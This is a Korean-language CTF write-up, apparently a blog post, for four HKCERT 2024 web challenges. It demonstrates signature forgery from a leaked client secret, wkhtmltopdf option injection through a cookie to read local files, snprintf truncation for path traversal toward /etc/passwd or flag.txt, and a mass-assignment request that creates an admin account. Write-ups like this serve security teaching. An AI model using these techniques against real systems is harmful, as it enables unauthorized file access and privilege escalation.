HKCERT 2024 웹 보안 챌린지 취약점 분석 및 솔루션

1. 클라이언트 사이드 시크릿 노출을 이용한 점수 위조 (New Free Lunch)

블랙박스 환경의 웹 애플리케이션으로, 프론트엔드 자바스크립트 소스 코드를 분석하여 하드코딩된 시크릿 키를 찾아내어 SHA-256 서명을 위조하는 방식의 취약점이다. 로그인 및 회원가입 기능에는 특별한 인젝션이나 우회 요소가 없었으나, 점수 제출 로직에서 보안상의 결함이 발견되었다.

게임 종료 시 점수를 서버로 전송하는 비동기 함수를 분석하면 다음과 같다.

async function submitFinalScore() {
    stopTimers();
    showGameOverModal(userPoints);

    // 하드코딩된 appSecret을 사용하여 서명 생성
    const signature = computeSHA256(appSecret + currentUser + userPoints);

    const response = await fetch('/api/scores/update', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'X-Auth-Token': `Bearer ${authToken}`
        },
        body: JSON.stringify({ 
            points: userPoints, 
            sig: signature 
        })
    });

    const result = await response.json();
    if (result.status === 'success') {
        showNotification('Score saved successfully!');
    } else {
        showNotification('Error saving score.');
    }
    window.location.reload();
}

서버는 appSecret, currentUser, userPoints를 결합하여 SHA-256 해시를 생성하고 이를 검증한다. 소스 코드 내에서 평문으로 노출된 appSecret 값을 확보한 후, 로컬에서 임의로 조작한 높은 점수에 맞는 해시 값을 계산하여 요청을 위조하면排行榜(리더보드)에서 플래그를 획득할 수 있다.

2. wkhtmltopdf 명령어 인젝션을 통한 로컬 파일 읽기 (Webpage to PDF)

이 문제는 wkhtmltopdf 유틸리티를 사용하여 웹페이지를 PDF로 변환하는 기능에서 발생한다. 기본적으로 wkhtmltopdf는 보안상의 이유로 file:// 프로토콜을 통한 로컬 파일 접근을 제한한다. 이를 우회하기 위해서는 --enable-local-file-access 플래그가 필요하다.

서버 내부 로직을 살펴보면, 세션 ID를 기반으로 한 명령어 문자열拼接(결합) 과정에서 입력 값에 대한 적절한 샌드박싱이 이루어지지 않고 있음을 알 수 있다. 공격자는 쿠키의 세션 값에 옵션을 주입하여 최종 실행되는 시스템 명령어를 조작할 수 있다.

먼저, 로컬 파일을 읽기 위한 간단한 HTML 페이지를 호스팅한다.

<!DOCTYPE html>
<html>
<body style="margin: 0; overflow: hidden;">
    <object data="file:///flag.txt" width="100%" height="100%" type="text/plain"></object>
</body>
</html>

이후 쿠키의 세션 ID 앞에 --enable-local-file-access를 삽입하여 요청을 보낸다. 서버는 다음과 같이 명령어를 구성하여 실행하게 된다.

wkhtmltopdf --enable-local-file-access {INJECTED_SESSION_ID}.html --enable-local-file-access {INJECTED_SESSION_ID}.pdf

결과적으로 로컬 파일 접근 권한이 활성화되어 /flag.txt의 내용이 PDF로 렌더링되며, 생성된 PDF 파일에 접근하여 플래그를 획득한다.

3. C 언어 HTTP 서버의 snprintf 버퍼 잘림 현상 우회 (Custom Web Server)

C 언어로 직접 구현된 커스텀 HTTP 서버의 소스 코드를 분석하는 문제이다. 서버는 요청된 파일의 확장자가 .html, .png, .css, .js 중 하나인지 검증하는 화이트리스트를 보유하고 있다.

int has_valid_extension(const char *resource) {
    const char *allowed_exts[] = {".html", ".css", ".js", ".png"};
    size_t res_len = strlen(resource);
    for (int i = 0; i < 4; i++) {
        size_t ext_len = strlen(allowed_exts[i]);
        if (res_len >= ext_len && strcmp(resource + res_len - ext_len, allowed_exts[i]) == 0) {
            return 1;
        }
    }
    return 0;
}

HttpResponseBody *load_file_content(const char *resource) {
    if (!has_valid_extension(resource)) return NULL;

    char target_filepath[MAX_PATH_LEN]; // MAX_PATH_LEN은 1024로 정의됨
    snprintf(target_filepath, MAX_PATH_LEN, "static/%s", resource);

    FILE *fp = fopen(target_filepath, "rb");
    // ... 파일 읽기 로직 ...
}

NULL 바이트(%00)를 이용한 전통적인截断(잘림) 기법은 현대 컴파일러와 라이브러리에서 차단된다. 그러나 위 코드에서 target_filepath의 크기는 1024바이트로 고정되어 있으며, snprintf 함수는 버퍼 크기를 초과하는 입력에 대해 자동으로 문자열을 잘라낸다. 이 특성을 이용하면 화이트리스트 검증을 통과한 후 실제 파일 경로가 열릴 때 확장자를 잘라낼 수 있다.

다음은 버퍼 잘림 현상을 증명하기 위해 버퍼 크기를 축소한 데모 코드이다.

#include <stdio.h>
#include <string.h>

#define DEMO_BUFFER_SIZE 32

int main() {
    // 화이트리스트 검증을 통과하기 위한 .js 확장자 포함
    const char *user_input = "../../../../etc/passwd.js"; 
    
    char final_path[DEMO_BUFFER_SIZE];
    snprintf(final_path, DEMO_BUFFER_SIZE, "static/%s", user_input);
    
    // 버퍼 크기를 초과하여 .js 확장자가 잘려나감
    printf("Executed path: %s\n", final_path); 
    return 0;
}

이 원리를 적용하여 1024바이트를 초과하는 긴 경로 탐색(Path Traversal) 페이로드를 구성한다. 끝부분에 .js를 붙여 검증을 우회하고, snprintf에 의해 .js가 잘려나가도록 하여 최종적으로 flag.txt 파일을 읽을 수 있다.

4. ORM 매스 어사인먼트를 통한 권한 상승 (Mystiz's Mini CTF)

사용자 등록 API에서 입력 파라미터를 데이터베이스 모델에 바인딩할 때 필드 검증을 소홀히 하여 발생하는 매스 어사인먼트(Mass Assignment) 취약점이다. 관리자 권한이 있어야만 플래그에 접근할 수 있도록 설계되어 있다.

회원가입 요청 시 서버는 클라이언트가 전송한 폼 데이터를 별도의 필터링 없이 User 모델의 속성에 직접 매핑한다. 이를 악용하여 일반 사용자는 설정할 수 없어야 할 is_admin 필드를 요청에 포함시켜 보낸다.

POST /api/v1/auth/register HTTP/1.1
Host: target-server.hkcert24.pwnable.hk
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

login_id=TestUser&pass_key=SecurePass123!&user_role=admin&is_admin=true

서버는 is_admin=true 파라미터를 그대로 수용하여 관리자 계정을 생성한다. 이후 생성된 계정으로 로그인하여 관리자 전용 엔드포인트인 /api/admin/challenges에 접근하면 플래그를 획득할 수 있다.

태그: CTF Web Security Command Injection Path Traversal Mass Assignment

7월 9일 03:26에 게시됨